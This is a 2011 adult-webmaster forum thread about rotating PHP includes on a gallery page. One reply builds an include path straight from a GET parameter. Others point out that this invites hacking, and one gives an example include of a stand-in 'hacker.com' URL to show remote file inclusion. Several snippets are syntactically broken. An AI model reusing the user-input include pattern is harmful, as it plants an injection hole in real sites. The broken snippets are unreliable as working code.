Welcome to the GoFuckYourself.com - Adult Webmaster Forum forums.

You are currently viewing our boards as a guest which gives you limited access to view most discussions and access our other features. By joining our free community you will have access to post topics, communicate privately with other members (PM), respond to polls, upload content and access many other special features. Registration is fast, simple and absolutely free so please, join our community today!

If you have any problems with the registration process or your account login, please contact us.

Post New Thread Reply

Register GFY Rules Calendar
Go Back   GoFuckYourself.com - Adult Webmaster Forum > >
Discuss what's fucking going on, and which programs are best and worst. One-time "program" announcements from "established" webmasters are allowed.

 
Thread Tools
Old 10-17-2011, 04:46 PM   #1
TheSquealer
BANNED
 
TheSquealer's Avatar
 
Industry Role:
Join Date: Oct 2004
Location: In Your Head
Posts: 25,120
Question for PHP Coders

Is there an easy way to rotate php includes on a page?

For example, say you have an image gallery with a pic, title, description all in css... can you put everything in that css div in a php file (or 10 of them in 10 .php files), use an include and then use something to rotate those php includes.. and so duplicates aren't shown?
__________________
.
Yes, fewer illegal immigrants working equates to more job opportunities for American citizens.

Rochard
TheSquealer is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 10-17-2011, 04:57 PM   #2
Webmaster Advertising
So Fucking Banned
 
Join Date: Sep 2003
Posts: 1,360
Maybe use the php date function to include the files?
Webmaster Advertising is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 10-17-2011, 05:07 PM   #3
woj
<&(©¿©)&>
 
woj's Avatar
 
Industry Role:
Join Date: Jul 2002
Location: Chicago
Posts: 47,882
you are putting title and description in css?
__________________
Custom Software Development, email: woj#at#wojfun#.#com to discuss details or skype: wojl2000 or gchat: wojfun or telegram: wojl2000
Affiliate program tools: Hosted Galleries Manager Banner Manager Video Manager
Wordpress Affiliate Plugin Pic/Movie of the Day Fansign Generator Zip Manager
woj is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 10-17-2011, 05:13 PM   #4
georgeyw
58008 53773
 
georgeyw's Avatar
 
Industry Role:
Join Date: Jul 2005
Location: Australia
Posts: 9,864
Quote:
Originally Posted by TheSquealer View Post
Is there an easy way to rotate php includes on a page?

For example, say you have an image gallery with a pic, title, description all in css... can you put everything in that css div in a php file (or 10 of them in 10 .php files), use an include and then use something to rotate those php includes.. and so duplicates aren't shown?
Are you wanting to control which gallery is displayed or simply random?

yourdomain.com/gallery.php?id=<Gallery ID here ie 3>

use a

$id = $_GET to grab the id

then include 'file'.$id.php

Better way would be to create a db and call gallerys by their id in the db.
georgeyw is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 10-17-2011, 06:06 PM   #5
Confined
Registered User
 
Industry Role:
Join Date: Jan 2006
Posts: 93
Quote:
Originally Posted by georgeyw View Post
Are you wanting to control which gallery is displayed or simply random?

yourdomain.com/gallery.php?id=<Gallery ID here ie 3>

use a

$id = $_GET to grab the id

then include 'file'.$id.php

Better way would be to create a db and call gallerys by their id in the db.
Oh yeah baby! that's a great way to get hacked
Confined is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 10-17-2011, 06:10 PM   #6
TheSquealer
BANNED
 
TheSquealer's Avatar
 
Industry Role:
Join Date: Oct 2004
Location: In Your Head
Posts: 25,120
Here is what i wanted... assume there is 5 rows of pictures as an example

<div class="rowofpictures">
<div class="pictitle">
Title of pic
</div>
<div class="image1">
<img src="image-a.jpg" />
</div>
<div class="picdescription">
This is the image description under the image
</div>
</div>

Assume there is 5 of them on a row and i want to put all css for that row into a php file and include it in the page... like row1.php, the second row in row2.php, the third row in row3.php etc.

<?php include("row1.php"); ?>
<?php include("row2.php"); ?>
<?php include("row3.php"); ?>

Then rotate those rows so at a glance it appears the pages content changed when refreshed or opened later.
__________________
.
Yes, fewer illegal immigrants working equates to more job opportunities for American citizens.

Rochard
TheSquealer is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 10-17-2011, 06:24 PM   #7
woj
<&(©¿©)&>
 
woj's Avatar
 
Industry Role:
Join Date: Jul 2002
Location: Chicago
Posts: 47,882
if you want to invest a few bucks, hit me up icq: 33375924
or just wait 5 mins, I'm sure some idiot will post the solution for free in the next reply
__________________
Custom Software Development, email: woj#at#wojfun#.#com to discuss details or skype: wojl2000 or gchat: wojfun or telegram: wojl2000
Affiliate program tools: Hosted Galleries Manager Banner Manager Video Manager
Wordpress Affiliate Plugin Pic/Movie of the Day Fansign Generator Zip Manager
woj is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 10-17-2011, 06:26 PM   #8
georgeyw
58008 53773
 
georgeyw's Avatar
 
Industry Role:
Join Date: Jul 2005
Location: Australia
Posts: 9,864
Quote:
Originally Posted by Confined View Post
Oh yeah baby! that's a great way to get hacked
It was a quick example you fuckstick. Handled correctly GET / POST etc are all safe

Quote:
Originally Posted by TheSquealer View Post
Here is what i wanted... assume there is 5 rows of pictures as an example

<div class="rowofpictures">
<div class="pictitle">
Title of pic
</div>
<div class="image1">
<img src="image-a.jpg" />
</div>
<div class="picdescription">
This is the image description under the image
</div>
</div>

Assume there is 5 of them on a row and i want to put all css for that row into a php file and include it in the page... like row1.php, the second row in row2.php, the third row in row3.php etc.

<?php include("row1.php"); ?>
<?php include("row2.php"); ?>
<?php include("row3.php"); ?>

Then rotate those rows so at a glance it appears the pages content changed when refreshed or opened later.
Something like this will work - foreach or for to output
Code:
<?
$rowID =  range(1,10);

shuffle($rowID);

//Then output it

for($i=0;$i<sizeof($rowID);$i++)
{
	echo 'ROW ID' . $rowID[$i] . '<br>';
}
echo '<br>';
foreach ($rowID as $id) {
    echo $id . '<br>';
}
?>
georgeyw is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 10-17-2011, 06:26 PM   #9
Overload
Confirmed User
 
Overload's Avatar
 
Industry Role:
Join Date: Jul 2005
Location: Beck's City, North Teutonia
Posts: 3,185
lolz ... i love one click updates from a txt file which is pretty easy to achieve ;) no includes needed ... the links/thumbs are parsed from a simple txt file and you can update with one button click ... looks as if one really puts some time into updating but its done in wink of an eye
__________________
There aren't enough faces and palms on this planet for an appropriate reaction to religion.

Last edited by Overload; 10-17-2011 at 06:29 PM..
Overload is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 10-17-2011, 08:01 PM   #10
HomerSimpson
Too lazy to set a custom title
 
HomerSimpson's Avatar
 
Industry Role:
Join Date: Sep 2005
Location: Springfield
Posts: 13,826
if you will use only one of those per page

Code:
<?php
$x = rand(0,10);
$x = 'file'.$x.'.php';
include($x);
?>
__________________
Make a bank with Chaturbate - the best selling webcam program
Ads that can't be block with AdBlockers !!! /// Best paying popup program (Bitcoin payouts) !!!

PHP, MySql, Smarty, CodeIgniter, Laravel, WordPress, NATS... fixing stuff, server migrations & optimizations... My ICQ: 27429884 | Email:
HomerSimpson is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 10-17-2011, 08:06 PM   #11
raymor
Confirmed User
 
Join Date: Oct 2002
Posts: 3,745
The fastest way to do a "random" include is to base it on the current time- such as
$i = time() % 8;
include($i.php);

Assume that anything in GET POST, COOKIE, etc. is set by a hacker. So this:

include ($_REQUEST['id'].php);

Is equivalent to:
include ('http://hacker.com/fuckmyserverup.php');
__________________
For historical display only. This information is not current:
support&#64;bettercgi.com ICQ 7208627
Strongbox - The next generation in site security
Throttlebox - The next generation in bandwidth control
Clonebox - Backup and disaster recovery on steroids
raymor is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 10-18-2011, 12:18 AM   #12
k0nr4d
Confirmed User
 
k0nr4d's Avatar
 
Industry Role:
Join Date: Aug 2006
Location: Poland
Posts: 9,228
PHP Code:
$filesArr = array();
$filesArr[] = 'blah.php';
$filesArr[] = 'blah2.php';
$filesArr[] = 'blah3.php';
shuffle($filesArr);
include(
$filesArr[0]; 
k0nr4d is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Post New Thread Reply
Go Back   GoFuckYourself.com - Adult Webmaster Forum > >

Bookmarks



Advertising inquiries - marketing at gfy dot com

Contact Admin - Advertise - GFY Rules - Top

©2000-, AI Media Network Inc



Powered by vBulletin
Copyright © 2000- Jelsoft Enterprises Limited.